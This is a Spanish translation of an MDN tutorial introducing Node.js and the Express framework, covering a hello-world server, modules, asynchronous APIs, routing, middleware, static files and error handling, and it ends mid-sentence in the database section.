Learn/Server-side/Express_Nodejs/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Aprendizaje/Lado-Servidor/Express_Nodejs/Ambiente-Desarrollo", "Aprendizaje/Lado-Servidor/Express_Nodejs")}}</div> + +<p class="summary">En este primer articulo de Express resolveremos las preguntas "¿Qué es Node?" y "¿Qué es Express?", y te daremos una visión general de que hace especial al framework web "Express". Delinearemos las características principales, y te mostraremos algunos de los principales bloques de construcción de una aplicación en Express (aunque en este punto no tendrás todavía un entorno de desarrollo en que probarlo).</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td> + <p>Conocimientos básicos de informática. Noción general sobre <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos">programación lado servidor de sitios web</a>, y en particular los mecanismos de las interacciones <a href="/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">cliente-servidor en sitios web</a>.</p> + </td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Ganar familiaridad con lo que es Express y cómo encaja con Node, qué funcionalidad proporciona y los pilares de construcción de una aplicación Express.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="¿Qué_son_Express_y_Node">¿Qué son Express y Node?</h2> + +<p><a href="https://nodejs.org/">Node</a> (o más correctamente: <em>Node.js</em>) es un entorno que trabaja en tiempo de ejecución, de código abierto, multi-plataforma, que permite a los desarrolladores crear toda clase de herramientas de lado servidor y aplicaciones en <a href="/es/docs/Glossary/JavaScript">JavaScript</a>. La ejecución en tiempo real está pensada para usarse fuera del contexto de un explorador web (es decir, ejecutarse directamente en una computadora o sistema operativo de servidor). Como tal, el entorno omite las APIs de JavaScript específicas del explorador web y añade soporte para APIs de sistema operativo más tradicionales que incluyen HTTP y bibliotecas de sistemas de ficheros.</p> + +<p>Desde una perspectiva de desarrollo de servidor web, Node tiene un gran número de ventajas:</p> + +<ul> + <li>¡Gran rendimiento! <em>Node</em> ha sido diseñado para optimizar el rendimiento y la escalabilidad en aplicaciones web y es un muy buen complemento para muchos problemas comunes de desarrollo web (ej, aplicaciones web en tiempo real).</li> + <li>El código está escrito en "simple JavaScript", lo que significa que se pierde menos tiempo ocupándose de las "conmutaciones de contexto" entre lenguajes cuando estás escribiendo tanto el código del explorador web como del servidor.</li> + <li>JavaScript es un lenguaje de programación relativamente nuevo y se beneficia de los avances en diseño de lenguajes cuando se compara con otros lenguajes de servidor web tradicionales (ej, Python, PHP, etc.) Muchos otros lenguajes nuevos y populares se compilan/convierten a JavaScript de manera que puedes también usar CoffeeScript, ClosureScript, Scala, LiveScript, etc.</li> + <li>El gestor de paquetes de <em>Node</em> (NPM del inglés: Node Packet Manager) proporciona acceso a cientos o miles de paquetes reutilizables. Tiene además la mejor en su clase resolución de dependencias y puede usarse para automatizar la mayor parte de la cadena de herramientas de compilación.</li> + <li>Es portable, con versiones que funcionan en Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, y NonStop OS. Además, está bien soportado por muchos de los proveedores de hospedaje web, que proporcionan infraestructura específica y documentación para hospedaje de sitios <em>Node</em>.</li> + <li>Tiene un ecosistema y comunidad de desarrolladores de terceros muy activa, con cantidad de gente deseosa de ayudar.</li> +</ul> + +<p>Puedes crear de forma sencilla un servidor web básico para responder cualquier petición simplemente usando el paquete HTTP de <em>Node</em>, como se muestra abajo. Este, creará un servidor y escuchará cualquier clase de peticiones en la URL <code>http://127.0.0.1:8000/</code>; cuando se reciba una petición, se responderá enviando en texto la respuesta: "Hola Mundo!".</p> + +<pre class="brush: js notranslate">// Se carga el módulo de HTTP +var http = require("http"); + +// Creación del servidor HTTP, y se define la escucha +// de peticiones en el puerto 8000 +http.createServer(function(request, response) { + + // Se define la cabecera HTTP, con el estado HTTP (OK: 200) y el tipo de contenido + response.writeHead(200, {'Content-Type': 'text/plain'}); + + // Se responde, en el cuerpo de la respuesta con el mensaje "Hello World" + response.end('Hola Mundo!\n'); +}).listen(8000); + +// Se escribe la URL para el acceso al servidor +console.log('Servidor en la url http://127.0.0.1:8000/');</pre> + +<p>Otras tareas comunes de desarrollo web no están directamente soportadas por el mismo <em>Node</em>. Si quieres añadir el manejo específico de diferentes verbos HTTP (ej, <code>GET</code>, <code>POST</code>, <code>DELETE</code>, etc.), gestionar de forma separada las peticiones por medio de diferentes direcciones URL ("rutas"), servir ficheros estáticos o usar plantillas para crear la respuesta de forma dinámica, necesitarás escribir el código por tí mismo, o ¡puedes evitar reinventar la rueda usando un framework web!</p> + +<p><a href="https://expressjs.com/">Express</a> es el framework web más popular de <em>Node</em>, y es la librería subyacente para un gran número de otros <a href="https://expressjs.com/en/resources/frameworks.html">frameworks web de Node</a> populares. Proporciona mecanismos para:</p> + +<ul> + <li>Escritura de manejadores de peticiones con diferentes verbos HTTP en diferentes caminos URL (rutas).</li> + <li>Integración con motores de renderización de "vistas" para generar respuestas mediante la introducción de datos en plantillas.</li> + <li>Establecer ajustes de aplicaciones web como qué puerto usar para conectar, y la localización de las plantillas que se utilizan para renderizar la respuesta.</li> + <li>Añadir procesamiento de peticiones "middleware" adicional en cualquier punto dentro de la tubería de manejo de la petición.</li> +</ul> + +<p>A pesar de que <em>Express</em> es en sí mismo bastante minimalista, los desarrolladores han creado paquetes de middleware compatibles para abordar casi cualquier problema de desarrollo web. Hay librerías para trabajar con cookies, sesiones, inicios de sesión de usuario, parámetros URL, datos <code>POST</code>, cabeceras de seguridad y <em>muchos</em> más. Puedes encontrar una lista de paquetes middleware mantenida por el equipo de Express en <a href="https://expressjs.com/es/resources/middleware.html">Express Middleware</a> (junto con una lista de algunos de los paquetes más populares de terceros).</p> + +<div class="note"> +<p><strong>Nota:</strong> esta flexibilidad es una espada de doble filo. Hay paquetes de middleware para abordar casi cualquier problema o requerimiento, pero deducir cuáles son los paquetes adecuados a usar algunas veces puede ser un auténtico reto. Tampoco hay una "forma correcta" de estructurar una aplicación, y muchos ejemplos que puedes encontrar en la Internet no son óptimos, o sólo muestran una pequeña parte de lo que necesitas hacer para desarrollar una aplicación web.</p> +</div> + +<h2 id="¿Dónde_comenzó">¿Dónde comenzó?</h2> + +<p><em>Node</em> fué lanzado inicialmente, sólo para Linux, en 2009. El gestor de paquetes NPM fué lanzado en 2010, y el soporte nativo para Windows fue añadido en 2012. La versión actual LTS (Long Term Suppport) es Node v12.18.0 mientras que la última versión es Node 14.4.0. Ésto es sólo una pequeña foto de una historia muy rica; profundiza en <a href="https://en.wikipedia.org/wiki/Node.js#History">Wikipedia</a> si quieres saber más).</p> + +<p><em>Express</em> fue lanzado inicialmente en Noviembre de 2010 y está ahora en la versión 4.17.1 de la API. Puedes comprobar en el <a href="https://expressjs.com/en/changelog/4x.html">changelog</a> la información sobre cambios en la versión actual, y en <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> notas de lanzamiento históricas más detalladas.</p> + +<h2 id="¿Qué_popularidad_tiene_NodeExpress">¿Qué popularidad tiene Node/Express?</h2> + +<p>La popularidad de un framework web es importante porque es un indicador de se continuará manteniendo y qué recursos tienen más probabilidad de estar disponibles en términos de documentación, librerías de extensiones y soporte técnico.</p> + +<p>No existe una medida disponible de inmediato y definitiva de la popularidad de los frameworks de lado servidor (aunque sitios como <a href="http://hotframeworks.com/">Hot Frameworks</a> intentan asesorar sobre popularidad usando mecanismos como contar para cada plataforma el número de preguntas sobre proyectos en GitHub y StackOverflow). Una pregunta mejor es si Node y Express son lo "suficientemente populares" para evitar los problemas de las plataformas menos populares. ¿Continúan evolucionando? ¿Puedes conseguir la ayuda que necesitas? ¿Hay alguna posibilidad de que consigas un trabajo remunerado si aprendes Express?</p> + +<p>De acuerdo con el número de <a href="https://expressjs.com/en/resources/companies-using-express.html">compañías de perfil alto</a> que usan Express, el número de gente que contribuye al código base, y el número de gente que proporciona soporte tanto libre como pagado, podemos entonces decir que sí, !<em>Express</em> es un framework popular!</p> + +<h2 id="¿Es_Express_dogmático">¿Es Express dogmático?</h2> + +<p>Los frameworks web frecuentemente se refieren a sí mismos como "dogmáticos" ("<em>opinionated</em>") o "no dogmáticos" ("<em>unopinionated</em>").</p> + +<p>Los frameworks dogmáticos son aquellos que opinan acerca de la "manera correcta" de gestionar cualquier tarea en particular. Ofrecen soporte para el desarrollo rápido en un <em>dominio en particular</em> (resolver problemas de un tipo en particular) porque la manera correcta de hacer cualquier cosa está generalmente bien comprendida y bien documentada. Sin embargo pueden ser menos flexibles para resolver problemas fuera de su dominio principal, y tienden a ofrecer menos opciones para elegir qué componentes y enfoques pueden usarse.</p> + +<p>Los framewoks no dogmáticos, en contraposición, tienen muchas menos restricciones sobre el modo mejor de unir componentes para alcanzar un objetivo, o incluso qué componentes deberían usarse. Hacen más fácil para los desarrolladores usar las herramientas más adecuadas para completar una tarea en particular, si bien al coste de que necesitas encontrar esos componentes por tí mismo.<br> + <br> + Express es no dogmático, transigente. Puedes insertar casi cualquier middleware compatible que te guste dentro de la cadena de manejo de la petición, en casi cualquier orden que te apetezca. Puedes estructurar la app en un fichero o múltiples ficheros y usar cualquier estructura de directorios. ¡Algunas veces puedes sentir que tienes demasiadas opciones!</p> + +<h2 id="¿Cómo_es_el_código_para_Express">¿Cómo es el código para Express?</h2> + +<p>En sitios web o aplicaciones web dinámicas, que accedan a bases de datos, el servidor espera a recibir peticiones HTTP del navegador (o cliente). Cuando se recibe una petición, la aplicación determina cuál es la acción adecuada correspondiente, de acuerdo a la estructura de la URL y a la información (opcional) indicada en la petición con los métodos <code>POST</code> o <code>GET</code>. Dependiendo de la acción a realizar, puede que se necesite leer o escribir en la base de datos, o realizar otras acciones necesarias para atender la petición correctamente. La aplicación ha de responder al navegador, normalmente, creando una página HTML dinámicamente para él, en la que se muestre la información pedida, usualmente dentro de un elemento especifico para este fin, en una plantilla HTML.</p> + +<p><em>Express</em> posee métodos para especificar que función ha de ser llamada dependiendo del verbo HTTP usado en la petición (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.) y la estructura de la URL ("ruta"). También tiene los métodos para especificar que plantilla ("view") o gestor de visualización utilizar, donde están guardadas las plantillas de HTML que han de usarse y como generar la visualización adecuada para cada caso. El middleware de <em>Express</em>, puede usarse también para añadir funcionalidades para la gestión de cookies, sesiones y usuarios, mediante el uso de parámetros, en los métodos <code>POST</code>/<code>GET</code>. Puede utilizarse además cualquier sistema de trabajo con bases de datos, que sea soportado por <em>Node</em> (<em>Express</em> no especifica ningún método preferido para trabajar con bases de datos). </p> + +<p>En las siguientes secciones, se explican algunos puntos comunes que se pueden encontrar cuando se trabaja con código de <em>Node</em> y <em>Express</em>.</p> + +<h3 id="Hola_Mundo!_-_en_Express">Hola Mundo! - en Express</h3> + +<p>Primero consideremos el tradicional ejemplo de <a href="https://expressjs.com/en/starter/hello-world.html">Hola Mundo!</a> (se comentará cada parte a continuación).</p> + +<div class="note"> +<p><strong>Consejo:</strong> Si tiene <em>Node</em> y <em>Express</em> instalado (o piensa instalarlos posteriormente) puede guardar este código en un archivo llamado <strong>app.js</strong> y ejecutarlo posteriormente en la linea de comandos invocándolo mediante: <code>node app.js</code>. </p> +</div> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); + +<strong>app.get('/', function(req, res) { + res.send('Hola Mundo!'); +});</strong> + +app.listen(3000, function() { + console.log('Aplicación ejemplo, escuchando el puerto 3000!'); +}); +</pre> + +<p>Las primeras dos líneas incluyen (mediante la orden <code>require()</code>) el módulo de Express y crean una <a href="https://expressjs.com/en/4x/api.html#app">aplicación de Express</a>. Este elemento se denomina comúnmente <code>app</code>, y posee métodos para el enrutamiento de las peticiones HTTP, configuración del 'middleware', y visualización de las vistas de HTML, uso del motores de 'templates', y gestión de las <a href="https://expressjs.com/en/4x/api.html#app.settings.table">configuraciones de las aplicaciones </a> que controlan la aplicación (por ejemplo el entorno, las definiciones para enrutado ... etcetera.)</p> + +<p>Las líneas que siguen en el código (las tres líneas que comienzan con <code>app.get</code>) muestran una definición de ruta que se llamará cuando se reciba una petición HTTP <code>GET</code> con una dirección (<code>'/'</code>) relativa al directorio raíz. La función 'callback' coge una petición y una respuesta como argumentos, y ejecuta un <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> en la respuesta, para enviar la cadena de caracteres: "Hola Mundo!".</p> + +<p>El bloque final de código, define y crea el servidor, escuchando el puerto 3000 e imprime un comentario en la consola. Cuando se está ejecutando el servidor, es posible ir hasta la dirección <code>localhost:3000</code> en un navegador, y ver como el servidor de este ejemplo devuelve el mensaje de respuesta.</p> + +<h3 id="Importando_y_creando_módulos">Importando y creando módulos</h3> + +<p>Un modulo es una librería o archivo JavaScript que puede ser importado dentro de otro código utilizando la función <code>require()</code> de Node. Por sí mismo, <em>Express</em> es un modulo, como lo son el middleware y las librerías de bases de datos que se utilizan en las aplicaciones <em>Express.</em></p> + +<p>El código mostrado abajo, muestra como puede importarse un modulo con base a su nombre, como ejemplo se utiliza el framework <em>Express</em> . Primero se invoca la función <code style="font-style: normal; font-weight: normal;">require()</code>, indicando como parámetro el nombre del módulo o librería como una cadena (<code>'express'</code>), posteriormente se invoca el objeto obtenido para crear una <a href="https://expressjs.com/en/4x/api.html#app">aplicación Express</a>.</p> + +<p>Posteriormente, se puede acceder a las propiedades y funciones del objeto Aplicación.</p> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); +</pre> + +<p>También podemos crear nuestros propios módulos que puedan posteriormente ser importados de la misma manera.</p> + +<div class="note"> +<p><strong>Consejo:</strong> Usted puede desear crear sus propios módulos, esto le permitirá organizar su código en partes más administrables; una aplicación que reside en un solo archivo es difícil de entender y manejar.</p> + +<p>El utilizar módulos independientes también le permite administrar el espacio de nombres, de esta manera unicamente las variables que exporte explícitamente son importadas cuando utilice un módulo.</p> +</div> + +<p>Para hacer que los objetos esten disponibles fuera de un modulo, solamente es necesario asignarlos al objeto <code>exports</code>. Por ejemplo, el modulo mostrado a continuación <strong>square.js</strong> es un archivo que exporta los métodos <code>area()</code> y <code>perimeter()</code> :</p> + +<pre class="brush: js notranslate"><strong>exports</strong>.area = function(width) { return width * width; }; +<strong>exports</strong>.perimeter = function(width) { return 4 * width; }; +</pre> + +<p>Nosotros podemos importar este módulo utilizando la función <code>require()</code>, y entonces podremos invocar los métodos exportados de la siguiente manera:</p> + +<pre class="brush: js notranslate">// Utilizamos la función<strong> require()</strong> El nombre del archivo se ingresa sin la extensión (opcional) .js +var square = require('./square'); +// invocamos el metodo <strong>area()</strong> +console.log('El área de un cuadrado con lado de 4 es ' + square.area(4));</pre> + +<div class="note"> +<p><strong>Nota:</strong> Usted también puede especificar una ruta absoluta a la ubicación del módulo (o un nombre como se realizó inicialmente). </p> +</div> + +<p>Si usted desea exportar completamente un objeto en una asignación en lugar de construir cada propiedad por separado, debe asignarlo al módulo <code>module.exports</code> como se muestra a continuación (también puede hacer esto al inicio de un constructor o de otra función.)</p> + +<pre class="brush: js notranslate">module.exports = { + area: function(width) { + return width * width; + }, + + perimeter: function(width) { + return 4 * width; + } +}; +</pre> + +<p>Para más información acerca de módulos vea <a href="https://nodejs.org/api/modules.html#modules_modules">Modulos</a> (<em>Node</em> API docs).</p> + +<h3 id="Usando_APIs_asíncronas">Usando APIs asíncronas</h3> + +<p>El código JavaScript usa frecuentemente APIs asíncronas antes que sincrónicas para operaciones que tomen algún tiempo en completarse. En una API sincrónica cada operación debe completarse antes de que la siguiente pueda comenzar. Por ejemplo, la siguiente función de registro es síncrona, y escribirá en orden el texto en la consola (Primero, Segundo).</p> + +<pre class="brush: js notranslate">console.log('Primero'); +console.log('Segundo'); +</pre> + +<p>En contraste, en una API asincrónica, la API comenzará una operación e inmediatamente retornará (antes de que la operación se complete). Una vez que la operación finalice, la API usará algún mecanismo para realizar operaciones adicionales. Por ejemplo, el código de abajo imprimirá "Segundo, Primero" porque aunque el método <code>setTimeout()</code> es llamado primero y retorna inmediatamente, la operación no se completa por varios segundos.</p> + +<pre class="brush: js notranslate">setTimeout(function() { + console.log('Primero'); + }, 3000); +console.log('Segundo'); +</pre> + +<p>Usar APIs asíncronas sin bloques es aun mas importante en <em>Node</em> que en el navegador, porque <em>Node</em> es un entorno de ejecución controlado por eventos de un solo hilo. "Un solo hilo" quiere decir que todas las peticiones al servidor son ejecutadas en el mismo hilo ( en vez de dividirse en procesos separados). Este modelo es extremadamente eficiente en términos de velocidad y recursos del servidor, pero eso significa que si alguna de sus funciones llama a métodos sincrónicos que tomen demasiado tiempo en completarse, bloquearan no solo la solicitud actual, sino también cualquier otra petición que este siendo manejada por tu aplicación web.</p> + +<p>Hay muchas maneras para una API asincrónica de notificar a su aplicación que se ha completado. La manera mas común es registrar una función callback cuando usted invoca a una API asincrónica, la misma será llamada de vuelta cuando la operación se complete. Éste es el enfoque utilizado anteriormente.</p> + +<div class="note"> +<p><strong>Tip:</strong> Usar "callbacks" puede ser un poco enmarañado si usted tiene una secuencia de operaciones asíncronas dependientes que deben ser llevadas a cabo en orden, porque esto resulta en múltiples niveles de "callbacks" anidadas. Este problema es comúnmente conocido como "callback hell" (callback del infierno). Este problema puede ser reducido con buenas practicas de código (vea <a href="http://callbackhell.com/">http://callbackhell.com/</a>), usando un modulo como <a href="https://www.npmjs.com/package/async">async</a>, o incluso avanzando a características de ES6 como las <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promesas</a>.</p> +</div> + +<div class="note"> +<p><strong>Nota:</strong> Una convención común para <em>Node</em> y <em>Express</em> es usar callbacks de error primero. En esta convención el primer valor en su función callback es un error, mientras que los argumentos subsecuentes contienen datos correctos. Hay una buena explicación de porque este enfoque es útil en este blog: <a href="http://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js">The Node.js Way - Understanding Error-First Callbacks</a> (fredkschott.com).</p> +</div> + +<h3 id="Creando_manejadores_de_rutas">Creando manejadores de rutas</h3> + +<p>En nuestro ejemplo anterior de "Hola Mundo!" en <em>Express</em> (véase mas arriba), definimos una función (callback) manejadora de ruta para peticiones HTTP <code>GET</code> a la raíz del sitio (<code>'/'</code>).</p> + +<pre class="brush: js notranslate">app.<strong>get</strong>('/', function(req, res) { + res.send('Hello World!'); +}); +</pre> + +<p>La función callback toma una petición y una respuesta como argumentos. En este caso el método simplemente llama a <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> en la respuesta para retornar la cadena "Hello World!". Hay un <a href="https://expressjs.com/en/guide/routing.html#response-methods">número de otros métodos de respuesta</a> para finalizar el ciclo de solicitud/respuesta, por ejemplo podrá llamar a <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> para enviar una respuesta JSON o <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> para enviar un archivo.</p> + +<div class="note"> +<p><strong>JavaScript tip:</strong> Usted puede utilizar cualquier nombre que quiera para los argumentos en las funciones callback; cuando la callback es invocada el primer argumento siempre sera la petición y el segundo siempre sera la respuesta. Tiene sentido nombrarlos de manera que pueda identificar el objeto con el que esta trabajando en el cuerpo de la callback.</p> +</div> + +<p>El objeto que representa una aplicación de <em>Express</em>, también posee métodos para definir los manejadores de rutas para el resto de los verbos HTTP: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search</code><code>()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, y <code>connect()</code>.</p> + +<p>Hay un método general para definir las rutas: <code>app.all()</code>, el cual será llamado en respuesta a cualquier método HTTP. Se usa para cargar funciones del middleware en una dirección particular para todos los métodos de peticiones. El siguiente ejemplo (de la documentación de <em>Express</em>) muestra el uso de los manejadores a <code>/secret</code> sin tener en cuenta el verbo HTTP utilizado (siempre que esté definido por el <a href="https://nodejs.org/api/http.html#http_http_methods">módulo http</a>).</p> + +<pre class="brush: js notranslate">app.all('/secret', function(req, res, next) { + console.log('Accediendo a la seccion secreta ...'); + next(); // pasa el control al siguiente manejador +});</pre> + +<p>Las rutas le permiten igualar patrones particulares de caracteres en la URL, y extraer algunos valores de ella y pasarlos como parámetros al manejador de rutas (como atributo del objeto petición pasado como parámetro).</p> + +<p>Usualmente es útil agrupar manejadores de rutas para una parte del sitio juntos y accederlos usando un prefijo de ruta en común. (Ej: un sitio con una Wiki podría tener todas las rutas relacionadas a dicha sección en un archivo y siendo accedidas con el prefijo de ruta /wiki/. En <em>Express</em> esto se logra usando el objeto <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code>. Ej: podemos crear nuestra ruta wiki en un módulo llamado wiki.js, y entonces exportar el objeto <code>Router</code>, como se muestra debajo:</p> + +<pre class="brush: js notranslate">// wiki.js - Modulo de rutas Wiki + +var express = require('express'); +var router = express.Router(); + +// Home page route +router.get('/', function(req, res) { + res.send('Página de inicio Wiki'); +}); + +// About page route +router.get('/about', function(req, res) { + res.send('Acerca de esta wiki'); +}); + +module.exports = router; +</pre> + +<div class="note"> +<p><strong>Nota:</strong> Agregar rutas al objeto <code>Router</code> es como agregar rutas al objeto <code>app</code> ( como se vio anteriormente).</p> +</div> + +<p>Para usar el router en nuestro archivo app principal, necesitamos <code>require()</code> el módulo de rutas (<strong>wiki.js</strong>), entonces llame <code>use()</code> en la aplicación <em>Express</em> para agregar el Router al software intermediario que maneja las rutas. Las dos rutas serán accesibles entonces desde <code style="font-style: normal; font-weight: normal;">/wiki/</code> y <code style="font-style: normal; font-weight: normal;">/wiki/about/</code>.</p> + +<pre class="brush: js notranslate">var wiki = require('./wiki.js'); +// ... +app.use('/wiki', wiki);</pre> + +<p>Le mostraremos mucho más sobre como trabajar con rutas, y en particular, acerca de como usar el <code>Router</code>, más adelante en la sección<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes"> Rutas y controladores .</a></p> + +<h3 id="Usando_middleware">Usando middleware</h3> + +<p>El "middleware" es ampliamente utilizado en las aplicaciones de <em>Express:</em> desde tareas para servir archivos estáticos, a la gestión de errores o la compresión de las respuestas HTTP. Mientras las funciones de enrutamiento, con el objeto <a href="http://expressjs.com/en/guide/routing.html#express-router" rel="noopener">express.Router</a>, se encargan del ciclo petición-respuesta, al gestionar la respuesta adecuada al cliente, las funciones de middleware normalmente realizan alguna operación al gestionar una petición o respuesta y a continuación llaman a la siguiente función en la "pila", que puede ser otra función de middleware u otra función de enrutamiento. El orden en el que las funciones de middleware son llamadas depende del desarrollador de la aplicación.</p> + +<div class="note"> +<p><strong>Nota:</strong> El middleware puede realizar cualquier operación: hacer cambios a una petición, ejecutar código, realizar cambios a la petición o al objeto pedido, puede también finalizar el ciclo de petición-respuesta. Si no finaliza el ciclo debe llamar a la función <code>next()</code> para pasar el control de la ejecución a la siguiente función del middleware ( o a la petición quedaría esperando una respuesta ... ). </p> +</div> + +<p>La mayoría de las aplicaciones usan middleware desarrollado por terceras partes, para simplificar funciones habituales en el desarrollo web, como puede ser: gestión de cookies, sesiones, autentificado de usuarios, peticiones <code>POST</code> y datos en JSON, registros de eventos, etc. Puede encontrar en el siguiente enlace una <a href="http://expressjs.com/en/resources/middleware.html">lista de middleware mantenido por el equipo de <em>Express</em></a> (que también incluye otros paquetes populares de terceras partes). Las librerías de <em>Express</em> están disponibles con la aplicación NPM (Node Package Manager).</p> + +<p>Para usar estas colecciones, primero ha de instalar la aplicación usando NPM. Por ejemplo para instalar el registro de peticiones HTTP <a href="http://expressjs.com/en/resources/middleware/morgan.html">morgan</a>, se haría con el comando Bash: </p> + +<pre class="brush: bash notranslate"><code>$ npm install morgan +</code></pre> + +<p>Entonces podría llamar a la función <code>use()</code> en un objeto de aplicación <em>Express</em> para utilizar este middleware a su aplicación. </p> + +<pre class="brush: js notranslate">var express = require('express'); +<strong>var logger = require('morgan');</strong> +var app = express(); +<strong>app.use(logger('dev'));</strong> +...</pre> + +<div class="note"> +<p><strong>Note:</strong> Las funciones Middleware y routing son llamadas en el orden que son declaradas. Para algunos middleware el orden es importante (por ejemplo si el middleware de sesion depende del middleware de cookie, entonces el manejador de cookie tiene que ser llamado antes). Casi siempre es el caso que el middleware es llamado antes de configurar las rutas, o tu manejador de rutas no tendra acceso a la funcionalidad agregada por tu middleware.</p> +</div> + +<p>Tu puedes escribir tu propia funcion middleware, y si quieres hacerlo así (solo para crear código de manejo de error). La única diferencia entre una función middleware y un callback manejador de rutas es que las funciones middleware tienen un tercer argumento <code>next</code>, cuyas funciones middleware son esperadas para llamarlas si ellas no completan el ciclo request (cuando la función midleware es llamada, esta contiene la próxima función que debe ser llamada).</p> + +<p>Puede agregar una función middleware a la cadenan de procesamiento con cualquier <code>app.use()</code> o <code>app.add()</code>, dependiendo de si quiere aplicar el middleware a todas las respuestas o a respuestas con un verbo particular HTTP (<code>GET</code>, <code>POST</code>, etc). Usted especifica rutas, lo mismo en ambos casos, aunque la ruta es opcional cuando llama <strong>app.use()</strong>.</p> + +<p>El ejemplo de abajo muestra como puede agregar la función middleware usando ambos métodos, y con/sin una ruta.</p> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); + +// An example middleware function +var a_middleware_function = function(req, res, <em>next</em>) { + // ... perform some operations + next(); // Call next() so Express will call the next middleware function in the chain. +} + +// Function added with use() for all routes and verbs +app.use(a_middleware_function); + +// Function added with use() for a specific route +app.use('/someroute', a_middleware_function); + +// A middleware function added for a specific HTTP verb and route +app.get('/', a_middleware_function); + +app.listen(3000);</pre> + +<div class="note"> +<p><strong>JavaScript Tip:</strong> Arriba declaramos la función middleware separadamente y la configuramos como el callback. En nuestra función previous manejadora de ruta declaramos la función callback cuando esta fué usada. En JavaScript, cuealquer aproximación es valida.</p> +</div> + +<p>La documentación Express tiene mucha mas documentación excelente acerca del uso y escritura de middleware Express.</p> + +<h3 id="Sirviendo_archivos_estáticos">Sirviendo archivos estáticos</h3> + +<p>Puede utilizar el middleware <a href="http://expressjs.com/en/4x/api.html#express.static">express.static</a> para servir archivos estáticos, incluyendo sus imagenes, CSS y JavaScript (<code>static()</code> es la única función middleware que es actualmente <strong>parte</strong> de <em>Express</em>). Por ejemplo, podria utilizar la linea de abajo para servir imágenes, archivos CSS, y archivos JavaScript desde un directorio nombrado '<strong>public'</strong> al mismo nivel desde donde llama a node:</p> + +<pre class="brush: js notranslate">app.use(express.static('public')); +</pre> + +<p>Cualesquiere archivos en el directorio público son servidos al agregar su nombre de archivo (<em>relativo</em> a la ubicación del directorio "público" ) de la ubicación URL. Por ejemplo:</p> + +<pre class="notranslate"><code>http://localhost:3000/images/dog.jpg +http://localhost:3000/css/style.css +http://localhost:3000/js/app.js +http://localhost:3000/about.html +</code></pre> + +<p>Puede llamar <code>static()</code> multiples ocasiones a servir multiples directorios. Si un archivo no puede ser encontrado por una función middleware entonces este simplemente será pasado en la subsequente middleware (el orden en que el middleware está basado en su orden de declaración).</p> + +<pre class="brush: js notranslate">app.use(express.static('public')); +app.use(express.static('media')); +</pre> + +<p>Tambien puede crear un prefijo virtual para sus URLs estáticas, aun más teniendo los archivos agregados en la ubicación URL. Por ejemplo, aqui especificamos <a href="http://expressjs.com/en/4x/api.html#app.use">a mount path</a> tal que los archivos son bajados con el prefijo "/media":</p> + +<pre class="brush: js notranslate">app.use('/media', express.static('public')); +</pre> + +<p>Ahora, puede bajar los archivos que estan en el directorio <code>publico</code> del path con prefijo <code>/media</code>.</p> + +<pre class="notranslate"><code>http://localhost:3000/media/images/dog.jpg +http://localhost:3000/media/video/cat.mp4 +http://localhost:3000/media/cry.mp3</code> +</pre> + +<p>Para más información, ver <a href="Serving static files in Express">Sirviendo archivos estáticos en Express</a>.</p> + +<h3 id="Manejando_errores">Manejando errores</h3> + +<p>Los errores majejados por una o más funciones especiales middleware que tienen cuatro argumentos, en lugar de las usuales tres: <code>(err, req, res, next)</code>. For example:</p> + +<pre class="brush: js notranslate">app.use(function(err, req, res, next) { + console.error(err.stack); + res.status(500).send('Something broke!'); +}); +</pre> + +<p>Estas pueden devolver cualquier contenido, pero deben ser llamadas despues de todas las otras <code>app.use()</code> llamadas de rutas tal que ellas son las últimas middleware en el proceso de manejo de request!</p> + +<p>Express viene con un manejador de error integrado, el que se ocupa de error remanente que pudiera ser encontrado en la app. Esta función middleware manejador de error esta agregada al final del stack de funciones middleware. Si pasa un error a <code>next()</code> y no lo maneja en un manejador de error, este sera manejado por el manejador de error integrado; el error sera escrito en el cliente con el rastreo de pila.</p> + +<div class="note"> +<p><strong>Note:</strong> El rastreo de pila no esta incluido en el ambiente de producción. Para ejecutarlo en modo de producción necesita configurar la variable de ambiente <code>NODE_ENV</code> to '<code>production'</code>.</p> +</div> + +<div class="note"> +<p><strong>Note:</strong> HTTP404 y otros codigos de estatus de "error" no son tratados como errores. Si quiere manejar estos, puede agregar una función middleware para hacerlo. Para mas información vea las <a href="http://expressjs.com/en/starter/faq.html#how-do-i-handle-404-responses">FAQ</a>.</p> +</div> + +<p>Para mayor información vea Manejo de error (Docs. Express).</p> + +<h3 id="Usando_Bases_de_datos">Usando Bases de datos</h3> + +<p>Las apps de <em>Express</em> pueden usar cualquier mecanismo de bases de datos suportadas por <em>Node</em> (<em>Express</em> en sí mismo no define ningúna conducta/requerimiento specifico adicional para administración de bases de datos). Hay muchas opciones, incluyendo PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.</p> + +<p>Con el propósito de usar éste, debe primero instalar el manejador de bases de datos utilizando NPM. Por ejemplo, para instalar el manejador para el popular NoSQL 